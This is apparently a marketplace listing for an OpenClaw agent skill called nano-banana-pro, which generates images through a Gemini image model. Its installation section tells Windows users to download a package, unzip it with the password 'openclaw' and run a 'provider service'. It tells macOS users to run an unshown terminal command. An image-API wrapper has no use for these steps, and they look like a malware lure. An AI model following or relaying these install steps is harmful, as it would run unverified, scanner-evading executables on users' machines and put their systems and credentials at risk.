nano-banana-pro

What This Skill Does

The nano-banana-pro skill provides a direct interface to Google's powerful Gemini 3 Pro Image model, enabling users to generate high-fidelity visuals from text prompts or perform complex image-to-image transformations. Designed for seamless integration into the OpenClaw agent workflow, this skill functions as an advanced creative assistant that handles everything from initial drafting to final high-resolution rendering. It supports flexible resolution tiers—1K, 2K, and 4K—allowing for rapid prototyping and iterative refinement before committing to final assets. By utilizing the OpenClawProvider, it ensures that your environment is properly prepared for secure and efficient model execution.

Installation

To install this skill, run the command: clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-wepcdp.

IMPORTANT: This skill requires the OpenClawProvider to be operational on your host machine.

• For Windows users, download the provided package, extract using the password 'openclaw', and execute the provider service.
• For MacOS users, execute the terminal command provided in the skill documentation to initialize the necessary background services. Ensure that you have uv installed in your path, as it manages the Python environment for the generation scripts.

Use Cases

• Rapid Creative Prototyping: Generate low-resolution drafts to test composition and style before finalizing the design.
• Image Refinement: Use existing images as a foundation for editing, such as style transfers, color adjustments, or conceptual modifications.
• High-Quality Asset Creation: Produce 4K professional-grade imagery for project documentation, social media content, or design mockups.
• Workflow Automation: Integrate with OpenClaw to automatically generate context-specific illustrations based on the output of other technical tasks.

Example Prompts

1. "Create a high-resolution 4K image of a futuristic cyberpunk city with neon lights and flying vehicles."
2. "Edit this photo (use ./portrait.png) to change the background to a sunset beach scene and keep the subject's posture the same."
3. "Generate a minimalist logo for a tech startup using a geometric font in 1K resolution for quick previewing."

Tips & Limitations

To achieve the best results, always follow the draft-to-final workflow. Start with 1K resolution to verify that the prompt logic is sound, then scale to 2K or 4K only once you are satisfied with the composition. Always ensure your environment variable GEMINI_API_KEY is set before invoking the command to avoid authentication errors. Be mindful of file paths; always run scripts from your working directory so generated outputs remain in your intended project folder. Note that the system requires an active internet connection to communicate with the Gemini 3 Pro Image API.
